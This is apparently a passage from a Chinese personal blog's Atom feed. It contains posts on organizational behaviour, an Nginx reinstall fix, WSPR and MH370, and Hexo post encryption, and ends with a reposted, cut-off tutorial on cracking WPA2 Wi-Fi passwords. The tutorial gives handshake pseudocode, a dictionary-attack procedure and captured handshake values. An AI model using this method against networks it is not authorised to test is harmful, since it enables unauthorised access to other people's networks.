title="组织行为学的研究内容"></a>组织行为学的研究内容</h2><p>组织行为学的<strong>研究内容</strong>是<strong>研究一定组织中人的心理和行为的规律。</strong><br>组织中人的心理和行为按<strong>不同的层面</strong>分为以下三个层面：</p><ul><li>个体心理与行为</li><li>群体心理与行为</li><li>组织心理与行为<br>组织行为学的<strong>研究内容</strong>可分为四大块：</li><li>个体心理与行为</li><li>群体心理与行为</li><li>组织行为</li><li>领导行为</li></ul><h3 id="个体心理与行为研究"><a href="#个体心理与行为研究" class="headerlink" title="个体心理与行为研究"></a>个体心理与行为研究</h3><p><strong>个体心理</strong>是个体在组织中因<strong>角色地位</strong>或<strong>不同的情境</strong>而表达出的<strong>心理现象</strong>。<br><strong>个体行为</strong>是个体在<strong>组织环境下</strong>的所作所为。</p><h3 id="群体心理与行为研究"><a href="#群体心理与行为研究" class="headerlink" title="群体心理与行为研究"></a>群体心理与行为研究</h3><p><strong>群体心理与行为研究</strong>主要包括群体对<strong>个人行为</strong>的影响、影响<strong>群体行为</strong>的<strong>因素、沟通、团队建设、群体冲突及管理等。</strong></p><h3 id="组织行为研究"><a href="#组织行为研究" class="headerlink" title="组织行为研究"></a>组织行为研究</h3><p><strong>组织行为研究</strong>主要包括<strong>组织结构、组织变革与发展、组织文化、组织学习</strong>等问题。</p><h3 id="领导行为研究"><a href="#领导行为研究" class="headerlink" title="领导行为研究"></a>领导行为研究</h3><p><strong>领导行为研究</strong>包括<strong>领导理论、激励理论与实务</strong>两大部分。</p><h1 id="组织行为学的产生与发展"><a href="#组织行为学的产生与发展" class="headerlink" title="组织行为学的产生与发展"></a>组织行为学的产生与发展</h1><h2 id="组织行为学的学科基础"><a href="#组织行为学的学科基础" class="headerlink" title="组织行为学的学科基础"></a>组织行为学的学科基础</h2><p><strong>组织行为学</strong>是一门<strong>应用型的行为科学</strong>，它是在<strong>心理学、社会学、社会心理学、人类学和政治学</strong>等多门学科的基础上建立起来的。</p><h3 id="心理学"><a href="#心理学" class="headerlink" title="心理学"></a>心理学</h3><p><strong>心理学</strong>是测量、解释、引导及改变人的行为的一门学科。</p><h3 id="社会学"><a href="#社会学" class="headerlink" title="社会学"></a>社会学</h3><p><strong>社会学</strong>研究处于<strong>社会</strong>中的人的行为。</p><h3 id="社会心理学"><a href="#社会心理学" class="headerlink" title="社会心理学"></a>社会心理学</h3><p><strong>社会心理学</strong>是研究<strong>个体和群体的社会心理现象</strong>的<strong>心理学分支</strong>，是心理学和社会学相结合的产物。</p><h3 id="人类学"><a href="#人类学" class="headerlink" title="人类学"></a>人类学</h3><p><strong>人类学</strong>是从<strong>生物和文化</strong>的角度对人类进行全面解释的学科群。</p><h3 id="政治学"><a href="#政治学" class="headerlink" title="政治学"></a>政治学</h3><p><strong>政治学</strong>研究在<strong>政治环境</strong>中个体和群体的行为，其具体的研究课题包括<em><strong>冲突的结构、权利的分配和人们如何为了个人利益而操纵权力</strong></em>。</p><h2 id="组织行为学的产生"><a href="#组织行为学的产生" class="headerlink" title="组织行为学的产生"></a>组织行为学的产生</h2><p>组织行为学是在<strong>组织管理学</strong>和<strong>人事管理学</strong>的基础上产生和发展而来的，是组织演变、管理理论发展的<strong>必然结果</strong>，与<em><strong>管理学、工业心理学、管理心理学、组织心理学</strong></em>有着历史渊源。</p><h3 id="发展历程"><a href="#发展历程" class="headerlink" title="发展历程"></a>发展历程</h3><ul><li>1911年，泰勒《科学管理管理》出版，管理学成为独立学科，<strong>早期科学管理理论</strong>形成</li><li>1912年闵斯特伯格出版《心理学与工业效率》，首先将心理学运用至工业管理，*<em>工业心理学；</em>形成</li><li>20世纪20年代，美国心理学家梅奥主持“霍桑实验”，发现工作群体重要性并提出<strong>人际关系学说</strong>，使建立在<strong>群体理论</strong>之上的社会心理学研究真正起步，使学术界对各类关系对人们的心理和行为的影响有了足够的重视</li><li>1958年，斯坦福大学的莱维特出版研究著作《管理心理学》，<strong>管理心理学</strong>体系形成</li><li>20世纪60年代初，莱维特在为《心理学年鉴》所著文章中首先采用<strong>“组织心理学”</strong>一词，进一步将管理心理学的研究扩大到组织心理的研究，目的是要承担比<strong>个体差异测定</strong>更广泛的组织问题研究，组织心理学体系形成</li><li>自20世纪60年代起，组织心理学从各大心理学系转入管理学院、系，吸收了大量的社会心理学家、社会学家和人类学家，从这批人中产生的研究项目被命名为<strong>“组织行为学”</strong>，组织行为学正式产生</li></ul><p>（后暂略）</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;做个自习笔记&lt;/p&gt;
&lt;h1 id=&quot;组织行为学的概念和研究内容&quot;&gt;&lt;a href=&quot;#组织行为学的概念和研究内容&quot; class=&quot;headerlink&quot; title=&quot;组织行为学的概念和研究内容&quot;&gt;&lt;/a&gt;组织行为学的概念和研究内容&lt;/h1&gt;&lt;h2 id=&quot;组织行为学的概</summary>
      
    
    
    
    <category term="人力资源管理" scheme="https://blog.ypa.moe/categories/%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86/"/>
    
    
    <category term="笔记" scheme="https://blog.ypa.moe/tags/%E7%AC%94%E8%AE%B0/"/>
    
    <category term="组织行为学" scheme="https://blog.ypa.moe/tags/%E7%BB%84%E7%BB%87%E8%A1%8C%E4%B8%BA%E5%AD%A6/"/>
    
    <category term="社会学" scheme="https://blog.ypa.moe/tags/%E7%A4%BE%E4%BC%9A%E5%AD%A6/"/>
    
    <category term="人类学" scheme="https://blog.ypa.moe/tags/%E4%BA%BA%E7%B1%BB%E5%AD%A6/"/>
    
    <category term="心理学" scheme="https://blog.ypa.moe/tags/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    
  </entry>
  
  <entry>
    <title>解决Ubuntu20.04通过apt重装Nginx后配置文件消失</title>
    <link href="https://blog.ypa.moe/Nginx%E9%85%8D%E7%BD%AE%E6%B6%88%E5%A4%B1%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/"/>
    <id>https://blog.ypa.moe/Nginx%E9%85%8D%E7%BD%AE%E6%B6%88%E5%A4%B1%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/</id>
    <published>2022-11-01T04:00:00.000Z</published>
    <updated>2022-12-12T12:18:50.194Z</updated>
    
    <content type="html"><![CDATA[<h2 id="问题背景"><a href="#问题背景" class="headerlink" title="问题背景"></a>问题背景</h2><p>前几天服务器由于某v2升级出现了一些问题导致整个系统被我越修越坏的事我不想再提了，总之就是因为这个事情小木屋中心服务器又双叒叕重装了一次系统。<br/><br>不过毕竟难得重装一次系统，就想着顺便把之前看见的某Nginx的Google反代模块安装上，结果安装过程不知道哪一步出了问题，于是我就 <code>sudo find / -name nginx</code> 把能删的东西删了个遍（注：这个模块需要编译安装所以Nginx是野编译来的），然后用 apt-get 重装了一下nginx，但是安装之后运行nginx一直报 <code>nginx: [emerg] open() &quot;/etc/nginx/nginx.conf&quot; failed (2: No such file or directory)</code>。</p><h2 id="排障过程"><a href="#排障过程" class="headerlink" title="排障过程"></a>排障过程</h2><p>首先，遇到这种问题我们肯定先考虑是配置文件残留，先进行一次 <code>sudo apt-get remove --purge nginx</code> 把Nginx卸载掉，然后<code>sudo find / -name nginx</code> 把能删的东西全部删个遍，确保没有文件残留，然后 <code>sudo apt-get install nginx</code> 重装完事。<br/><br>不出意外的话，就要出意外了。在进行完以上操作之后，执行<code>nginx</code>指令发现 <code>nginx: [emerg] open() &quot;/etc/nginx/nginx.conf&quot; failed (2: No such file or directory)</code> 并未消除，使用 <code>sudo find / -name nginx.conf -type d</code> 搜索后发现系统中没有该文件存在。<br/><br>那么问题还会出在哪里呢？会不会是Nginx的依赖未卸载导致的问题呢？再次使用 <code>sudo apt-get remove --purge nginx</code> 对Nginx进行卸载，再执行 <code>sudo apt-get autoremove</code> 卸载未卸载的Nginx依赖程序，重新安装Nginx之后发现 <code>nginx: [emerg] open() &quot;/etc/nginx/nginx.conf&quot; failed (2: No such file or directory)</code> 并未消除。<br/><br>这就很神奇了啊朋友们，对配置和依赖都进行清除之后重装居然还是缺少文件，看来问题不是出现在配置文件和依赖程序上了。那么我们还有什么办法呢？</p><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><p>在检索资料后，我发现可以用dpkg查找和Nginx有关的程序，于是执行了 <code>sudo dpkg --get-selections|grep nginx</code> 指令，查找系统中和Nginx有关的程序，其中有一个程序 <code>nginx-common</code> 疑似和该问题存在关联，执行 <code>sudo apt-get remove --purge nginx-common</code> 将该程序进行卸载，重新执行 <code>sudo apt-get install nginx</code>，发现问题解决。</p><h2 id="问题总结"><a href="#问题总结" class="headerlink" title="问题总结"></a>问题总结</h2><p>在对apt包库进行检索后，发现了这么一段描述 <code>This package contains base configuration files used by all versions of nginx.</code>，可以判断问题就是由此包产生。由于卸载Nginx时未卸载该包，重新安装后未能正确释放配置文件至指定文件夹导致问题出现。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://packages.debian.org/sid/nginx-common">软件包：nginx-common（1.22.0-3.1） - Debian</a><br><a href="https://blog.csdn.net/haojuntu/article/details/89149889">nginx配置失败，卸载后重装无 nginx.conf文件 - haojuntu</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;问题背景&quot;&gt;&lt;a href=&quot;#问题背景&quot; class=&quot;headerlink&quot; title=&quot;问题背景&quot;&gt;&lt;/a&gt;问题背景&lt;/h2&gt;&lt;p&gt;前几天服务器由于某v2升级出现了一些问题导致整个系统被我越修越坏的事我不想再提了，总之就是因为这个事情小木屋中心服务器又双叒</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="Nginx" scheme="https://blog.ypa.moe/tags/Nginx/"/>
    
    <category term="Linux" scheme="https://blog.ypa.moe/tags/Linux/"/>
    
    <category term="Ubuntu" scheme="https://blog.ypa.moe/tags/Ubuntu/"/>
    
  </entry>
  
  <entry>
    <title>encrypt-test</title>
    <link href="https://blog.ypa.moe/encrypt-test/"/>
    <id>https://blog.ypa.moe/encrypt-test/</id>
    <published>2022-07-02T00:29:33.000Z</published>
    <updated>2022-07-02T12:36:45.000Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试." data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.">  <script id="hbeData" type="hbeData" data-hmacdigest="a7b0a6495244975f9e759f48fdd7f5727baf0576cab62b2d5ccb6a02697a4ca6">90b802059200f1da98db072b6ecfd077f9f4a80d1b620e6240a9e31e944f655e8117e4517f706321a66144d112ddbb670af100ed8ce1423c0bbf9f9334c8d377737046520a9f6990323cc410896020b517365c313ec41226824616518bdc520ed5d19905f3c262c73b063df5092cf0df4a66f0bc649b126550fb468d4b4e45f274181bf0fcd7448eb5d0bf506c3262c5217dfc97beaabd3ebf11a74f947a480e5dc2c52e6385035ac1cf0b82439e22a2456d264468cf42e5e6e266429448a660704f1fc6bde5c9b162a5073687a5ceb986bcf8c311e7f9a07586a9ff5bd629c4107c6d3cba5a972195e3fad31f25afd79b056cc78de1acba2cafeb6fa568b3fa52a376e5dd427e5c7a790ab0d6a11f46bae7811e9e964666bf297ab20e248b088a48aa4b274d369849fc9189436fd094e4f605aeb947a79c8ecb230a10b77ce86d79d135742c5a1bc17f77b1c9cfa1bc266e689176dd139ffa491fbc2f5f83924683ccb7c2147df08e09e225fda8843ca6ad48ec9fff690ca0ad3f0dd8708535f427b552666d9a6371932b2dfffc4efa639d050280ab17fe24eb54188466bb7d37d37d62de92c1b3df6571246f513579fdc7e366bb9334167e8264ca1d0eabbd51c0d3d34e485467dff8a07a1c5b2972febd19c2088e393f35d6e1e6885d9f9b152e301de0e4e583a53864ca8d1c4878c7bd7d73674a7e86882560e1f496c3ec505c5382e291086e78281da50624b7a6627a29e814fd7a00486771c4f62fcba9ac6e02a95f3073f06b3c693bc16a3b9565bc596ab16773b53539055cc28420ac19b1dbefaea7f8a6e6b10d7a5274148414087317aa10b84e1db5f6d1d7289563b69c994b62ebd5f8e391cf25af39f5134e692ce2cef929fd89f4ac6f085b438371df6290eb1f1c3d8f90c190b94a35aa3c6796f1a81949be39e3964d684afba9552c5fa2bb5ba1387d73a84a784300139067f42fcf9ec13c654efe0af9887e4c581e97731ee0e2a2f8e7d5c2cb0cd67c889e6180e007d90a30b03107e1982be0aa25e72bc35b9dee445f920af2a772ce2301dc27e7408eccc331f6e505615f51f2128b109d3603f3a34a2469e889110b6a36e996c4b40f1ffff32c8a5e0b317ad249fe5f3245d59e1d90fbe8079d405bc57f5438e096e9a42c7ebce3b878238690aa2e64327ceff18b183281c628bbb78afcb23f440bca6fa046b6bc0376cbb4fc7c05d1a99e13c9a14db28f82c1fded73e1915b5a67e7eb0f60b3672a16a5657ff4aa89e118d1da46dd6d2f63e2453d</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">密码是helloworld.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">本页面已加密，请输入密码</summary>
    
    
    
    <category term="博客" scheme="https://blog.ypa.moe/categories/%E5%8D%9A%E5%AE%A2/"/>
    
    
    <category term="hexo" scheme="https://blog.ypa.moe/tags/hexo/"/>
    
  </entry>
  
  <entry>
    <title>在hexo里给文章加密码</title>
    <link href="https://blog.ypa.moe/%E5%9C%A8hexo%E9%87%8C%E7%BB%99%E6%96%87%E7%AB%A0%E5%8A%A0%E5%AF%86%E7%A0%81/"/>
    <id>https://blog.ypa.moe/%E5%9C%A8hexo%E9%87%8C%E7%BB%99%E6%96%87%E7%AB%A0%E5%8A%A0%E5%AF%86%E7%A0%81/</id>
    <published>2022-07-02T00:21:16.000Z</published>
    <updated>2022-07-02T12:29:09.000Z</updated>
    
    <content type="html"><![CDATA[<p>懒了，找时间在写吧</p><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><a href="https://github.com/D0n9X1n/hexo-blog-encrypt/blob/master/ReadMe.zh.md">hexo-blog-encrypt README - D0n9X1n</a><br><a href="https://candinya.com/posts/by-the-end-of-the-storry/">未了终末 - Candinya</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;懒了，找时间在写吧&lt;/p&gt;
&lt;h1 id=&quot;参考资料&quot;&gt;&lt;a href=&quot;#参考资料&quot; class=&quot;headerlink&quot; title=&quot;参考资料&quot;&gt;&lt;/a&gt;参考资料&lt;/h1&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/D0n9X1n/hexo-blog</summary>
      
    
    
    
    <category term="博客" scheme="https://blog.ypa.moe/categories/%E5%8D%9A%E5%AE%A2/"/>
    
    
    <category term="hexo" scheme="https://blog.ypa.moe/tags/hexo/"/>
    
  </entry>
  
  <entry>
    <title>MH370被英国专家用“新技术”找到?WSPR简介</title>
    <link href="https://blog.ypa.moe/WSPR%E7%AE%80%E4%BB%8B/"/>
    <id>https://blog.ypa.moe/WSPR%E7%AE%80%E4%BB%8B/</id>
    <published>2021-12-07T04:00:00.000Z</published>
    <updated>2022-07-07T07:52:19.000Z</updated>
    
    <content type="html"><![CDATA[<p>最近几天，一条重磅新闻刷屏了各大新闻网站：</p><blockquote><p>失踪7年的马航MH370终于找到了？- 澎湃新闻<br>失联7年，马航MH370精确位置找到！ - 腾讯新闻</p></blockquote><p>在对各大媒体的新闻报道进行阅读后，我发现绝大部分都提到了这么一句话：“英国专家称其使用一项革命性跟踪技术发现了马来西亚航空370客机。”<br>作为一个关注新技术的极客（伪），我很理所应当的被这句话吸引了。革命性的跟踪技术这个描述本身就很吸引人，我就去检索了一下外国媒体的报道。<br>在外媒的报道里，我发现了一个很熟悉的词：WSPR。而这个WSPR就是国内媒体所提到的所谓的“革命性跟踪技术”。<br>大家肯定会觉得这么一个新闻我挂一个[ #业余无线电 ]的分类很奇怪吧。今天我们就来借这条新闻的热度，给大家介绍一下业余无线电里很常用的一种通信方式WSPR——也就是那个所谓的“革命性跟踪技术”。</p><p><strong>WSPR</strong>，英语全称<strong>Weak Signal Propagation Reporter</strong>，翻译成中文就是弱信号传播报告器，是一种设计用于业余无线电操作员之间的弱信号无线电通信程序。这一协议由Joe Taylor（呼号K1JT），于2008年提出并发布了&gt;一个最初的通信程序。后来WSPR被一个小团队接手开发并基于GNU许可证进行开源。该程序旨在发送和接收低功率传输，以测试MF和HF频段上的传播路径。<br><img src="https://upload.wikimedia.org/wikipedia/commons/f/f4/4-FSK_used_for_WSPR.jpg" alt="这是安捷伦调制域分析仪 53310A 的图片，显示了窄带 4-FSK 信号。该信号由 Raspberry Pi 产生。此图片遵循 CC BY-SA 4.0方式共享 ©Louis Taber Wikimedia Commons"><br>WSPR通过使用低功率的信号传输来探测潜在的传播路径。传输内容包含电台的呼号、梅登黑德定位网格和发射机的发射功率，例如”BH6AOV OL63 37”即表示该信号来自网格位于OL63的BH6AOV发射，发射功率为10^3.7毫瓦 。<br>WSPR可以解码到2500Hz带宽内信噪比至低为-28dB的信号。当运行WSPR程序的电脑联网时，可以将接受报告上传至wspr.net的中央数据库。<br>WSPR的发射类型是F1D，FSK调制，发射时需要进行时钟同步。通常来说一个WSPR台站包含一台计算机和一个收发器。<br>这个就是WSPR信号的音频↓</p><p>说了这么多，让我们转回头看一看在这次新闻里Richard Godfrey（也就是英国专家，下称R.G.）是怎么借助WSPR寻找MH370的。</p><p>前面我们提到，“当运行WSPR程序的电脑联网时，可以将接受报告上传至wspr.net的中央数据库。”，这一次，R.G.在2021年5月时提出建议检查WSPR的历史数据来查找2014年3月8日时MH370航班的飞行路径，并表示其中“有518条独特的传输路径穿过了马来西亚附近的区域、马六甲海峡和印度洋。借助每两分钟上传一次的WSPR记录和每小时一次的GPS定位我们有机会对MH370进行双独立信号来源探测定位”。<br>根据R.G.提出的方法，飞机在飞行过程中会对WSPR信号产生干扰，信号会在飞机机身上反射从而出现“非正常”的传输信号与距离，从而通过这一方法反推出MH370的飞行轨迹。<br>但是在对相关新闻进行检索时，我也发现一些分析指出，在这样的距离下根据平方反比定律，飞机机身反射的能量非常小，甚至不及常规天波信号因多径传播效应锁产生的方差，认为R.G.的方法仍旧有待商榷。</p><p>无论结果如何，我们都希望能够早日找出残骸，查明事实真相。<br>为全体遇难者默哀。</p><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><a href="https://en.wikipedia.org/wiki/WSPR_(amateur_radio_software)">WSPR (amateur radio software) - Wikipedia</a><br><a href="https://www.news.com.au/travel/travel-updates/malaysia-airlines-flight-mh370-left-false-trails-before-disappearing/news-story/cfaad4e8cef83c02bee9e9570a4fddd2">Malaysia Airlines flight MH370 left ‘false trails’ before disappearing, new research suggests - ABC News</a><br><a href="https://www.thepaper.cn/newsDetail_forward_15674927">7年了，马航MH370找到了？英专家：当年搜救只偏28公里！失联真相将见天日？- 澎湃新闻</a><br><a href="https://dk8ok.org/2021/12/06/mh370-and-wspr-aircraft-scatter-on-hf-a-critical-review/">MH370 AND WSPR: AIRCRAFT SCATTER ON HF – A CRITICAL REVIEW - DK8OK</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近几天，一条重磅新闻刷屏了各大新闻网站：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;失踪7年的马航MH370终于找到了？- 澎湃新闻&lt;br&gt;失联7年，马航MH370精确位置找到！ - 腾讯新闻&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在对各大媒体的新闻报道进行阅读后，我发</summary>
      
    
    
    
    <category term="业余无线电" scheme="https://blog.ypa.moe/categories/%E4%B8%9A%E4%BD%99%E6%97%A0%E7%BA%BF%E7%94%B5/"/>
    
    
    <category term="WSPR" scheme="https://blog.ypa.moe/tags/WSPR/"/>
    
    <category term="短波通信" scheme="https://blog.ypa.moe/tags/%E7%9F%AD%E6%B3%A2%E9%80%9A%E4%BF%A1/"/>
    
  </entry>
  
  <entry>
    <title>WPA2加密无线网络的破解</title>
    <link href="https://blog.ypa.moe/WPA2%E5%8A%A0%E5%AF%86%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C%E7%9A%84%E7%A0%B4%E8%A7%A3/"/>
    <id>https://blog.ypa.moe/WPA2%E5%8A%A0%E5%AF%86%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C%E7%9A%84%E7%A0%B4%E8%A7%A3/</id>
    <published>2021-12-03T04:00:00.000Z</published>
    <updated>2022-11-01T11:10:33.321Z</updated>
    
    <content type="html"><![CDATA[<h1 id="转载声明"><a href="#转载声明" class="headerlink" title="转载声明"></a>转载声明</h1><p>本文全文转载自<a href="https://zhou-yuxin.github.io/articles/2016/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9CWPA2%E5%8A%A0%E5%AF%86%E7%9A%84%E7%A0%B4%E8%A7%A3/index.html">无线网络WPA2加密的破解 - Zhou_Yuxin</a>，在此致谢原作者<br>另外感谢@喵叔 帮忙联系到原作者获得转载授权</p><p>终于等到了这一天！平时学习任务繁重，没太多时间倒腾自己想弄的东西。最近终于抽出了3天，专攻了一下WPA2的加密方式，并且自己用php和C写出了代码。<br>在此首先感谢Sword York在slinuxer上发表的文章<a href="https://blog.slinuxer.com/2014/04/wpapsk">《WPA&#x2F;WPA2-PSK认证过程》</a>，如果没有他的python代码演示，我真不知道要如何下手。</p><h1 id="阶段一：WPA2破解原理"><a href="#阶段一：WPA2破解原理" class="headerlink" title="阶段一：WPA2破解原理"></a>阶段一：WPA2破解原理</h1><p>WPA2相比WEP破解难度增加了很多，一个关键原因就是，WPA2的每次会话所使用的密钥都不相同，即每次会话都会随机生成一个临时密钥以加密数据。而这个临时密钥，则是在客户端连接上热点时，双方协商产生。因此，只有捕获了WPA2认证时的四次握手（我发现其实只需要前两次握手），才能破解密码。而破解密码只能使用穷举字典攻击，即每次试验一个可能的密码，然后按照WPA2的认证流程来产生哈希值，如果与握手包中的一致，那么极有可能就是正确的密码了。</p><p>因此，破解WPA2的关键就是两点——握手包、字典。</p><h1 id="阶段二：WPA2认证过程"><a href="#阶段二：WPA2认证过程" class="headerlink" title="阶段二：WPA2认证过程"></a>阶段二：WPA2认证过程</h1><p>为了下述方便，下文中接入点就写作AP，工作站就写作STA。并假设下文所描述的认证过程是AP与一个合法的STA之间进行的。<p color=red>而且出于一定的功利性，下文只讲述破解所需的前两次握手。</p></p><p>WPA2的认证过程是发生在Authentication与Association之后的。在四次握手开始之前，AP与一个合法的STA都已经知道了SSID和各自的MAC地址（AP的MAC地址记作AP_MAC，STA的MAC地址记作STA_MAC）。</p><h2 id="在第一次握手之前："><a href="#在第一次握手之前：" class="headerlink" title="在第一次握手之前："></a>在第一次握手之前：</h2><p>AP与STA都知道wifi密码password、SSID，因此，通过算法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">psk=pbkdf2_sha1(password,ssid,<span class="number">4096</span>,<span class="number">64</span>);</span><br></pre></td></tr></table></figure><p>可以计算得到psk。其中password就是pbkdf2_sha1算法的密钥，ssid就是“盐（salt）”，4096是802.11规范规定的迭代次数，而64表示生成的psk是一个64字节的数据。pbkdf2_sha1算法可以参考<a href="https://zhou-yuxin.github.io/articles/2016/pbkdf2-shaX%E6%91%98%E8%A6%81%E7%AE%97%E6%B3%95%E4%BB%A5%E5%8F%8AC%E8%AF%AD%E8%A8%80%E5%AE%9E%E7%8E%B0/index.html">《pbkdf2-shaX摘要算法以及C语言实现》</a>。<br>之后，AP随机生成一个32字节的随机数，叫做AP_Nonce。</p><h2 id="第一次握手："><a href="#第一次握手：" class="headerlink" title="第一次握手："></a>第一次握手：</h2><p>AP向STA发送一个数据帧，包含了AP_Nonce。</p><h2 id="在第一次握手与第二次握手之间："><a href="#在第一次握手与第二次握手之间：" class="headerlink" title="在第一次握手与第二次握手之间："></a>在第一次握手与第二次握手之间：</h2><p>STA收到AP_Nonce之后，也随机生成一个32字节的随机数，叫做STA_Nonce。此时STA同时知道了AP_MAC、STA_MAC、AP_Nonce和STA_Nonce四个要素，于是通过算法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ptk_data=<span class="string">&quot;Pairwise key expansion\0&quot;</span></span><br><span class="line">          +min(AP_MAC,STA_MAC)</span><br><span class="line">          +max(AP_MAC,STA_MAC)</span><br><span class="line">          +min(AP_Nonce,STA_Nonce)</span><br><span class="line">          +max(AP_Nonce,STA_Nonce)</span><br><span class="line">          +<span class="string">&quot;\0&quot;</span>;</span><br><span class="line">ptk=hmac_sha1(ptk_data,psk,<span class="number">16</span>);</span><br></pre></td></tr></table></figure><p>得到ptk。算法中，+号表示将数据段串联，min(a,b)表示a和b两端数据按字节比较，取小的那个，max(a,b)反之。因此ptk_data的长度是strlen(“Pairwise key expansion\0”)+2<em>6+2</em>32+1&#x3D;23+12+64+1&#x3D;100字节。<br>然后，把之前得到的psk当作密钥，对数据ptk_data进行hmac_sha1加密，得到一个长度为16字节的结果ptk。</p><p>再接下来，STA构造好要发送给AP的数据帧，把其中的数据负载部分（802.1X Authentication）取出，记作step2_data（step2_data共121字节），然后执行算法：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mic=hmac_sha1(step2_data,ptk,<span class="number">16</span>);</span><br></pre></td></tr></table></figure><h2 id="第二次握手："><a href="#第二次握手：" class="headerlink" title="第二次握手："></a>第二次握手：</h2><p>STA向AP发送一个数据帧，包含了一个关键数据STA_Nonce与mic。</p><p>于是，握手的前两次就算完成了。其实AP在收到第二次握手后，也以相同的算法计算mic，如果和客户端传来的相等，那么认为客户端有正确的密码。</p><h1 id="阶段三：破解思路"><a href="#阶段三：破解思路" class="headerlink" title="阶段三：破解思路"></a>阶段三：破解思路</h1><p>由以上步骤可以得到破解思路如下：</p><p>由以上步骤可以得到破解思路如下：</p><ol><li><p>抓包，得到前两次握手包，进而得到SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic。</p></li><li><p>选定一个可能的密码password，执行下列算法：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">psk=pbkdf2_sha1(password,SSID,<span class="number">4096</span>,<span class="number">64</span>);</span><br><span class="line">ptk_data=<span class="string">&quot;Pairwise key expansion\0&quot;</span></span><br><span class="line">          +min(AP_MAC,STA_MAC)</span><br><span class="line">          +max(AP_MAC,STA_MAC)</span><br><span class="line">          +min(AP_Nonce,STA_Nonce)</span><br><span class="line">          +max(AP_Nonce,STA_Nonce)</span><br><span class="line">          +<span class="string">&quot;\0&quot;</span>;</span><br><span class="line">ptk=hmac_sha1(ptk_data,psk,<span class="number">16</span>);</span><br><span class="line">mic=hmac_sha1(step2_data,ptk,<span class="number">16</span>);</span><br></pre></td></tr></table></figure><p>得到mic，与收集到的mic比较，如果相等，那么password极有可能就是正确的密钥了。</p></li><li><p>不断迭代步骤2，穷举整个字典，直到搜索到密码或穷尽为止。</p></li></ol><h1 id="阶段四：破解案例"><a href="#阶段四：破解案例" class="headerlink" title="阶段四：破解案例"></a>阶段四：破解案例</h1><p>该案例来自<a href="https://blog.slinuxer.com/2014/04/wpapsk">《WPA&#x2F;WPA2-PSK认证过程》</a>，再次表示感谢！<br>首先是抓到的四次握手数据帧，为了方便大家研究，在此提供<a href="http://pan.baidu.com/s/1skhLIwP">下载链接</a>。用wireshark打开以后，可以看到有4个握手包，如图：<br><img src="/media/image/antiwifipwd/1.png" alt="img1"><br>这个热点的SSID是“TP-LINK_4F6C90”，这个无法从握手包中得知，不过要攻击者自己肯定知道。SSID转换成16进制就是：</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">54 50 2d 4c 49 4e 4b 5f 34 46 36 43 39 30</span><br></pre></td></tr></table></figure><p>查看第一个握手包，可以看到如图：<br><img src="/media/image/antiwifipwd/2.jpeg" alt="img2"><br>所以得知AP_Nonce是</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">33 20 ce d2 53 5e d6 97 d5 2c 27 2a ee a7 99 d4 d1 88 a4 60 31 42 f3 7a 24 0f 80 64 d7 cd f5 88</span><br></pre></td></tr></table></figure><p>同时也可以得知AP_MAC为</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">20 dc e6 4f 6c 90</span><br></pre></td></tr></table></figure><p>STA_MAC为</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">e0 b9 a5 1f e7 94</span><br></pre></td></tr></table></figure><p>接着，查看第二个握手包，可以看到如图：<br><img src="/media/image/antiwifipwd/3.jpg" alt="img3"><br>所以得知STA_Nonce是</p><figure class="highlight 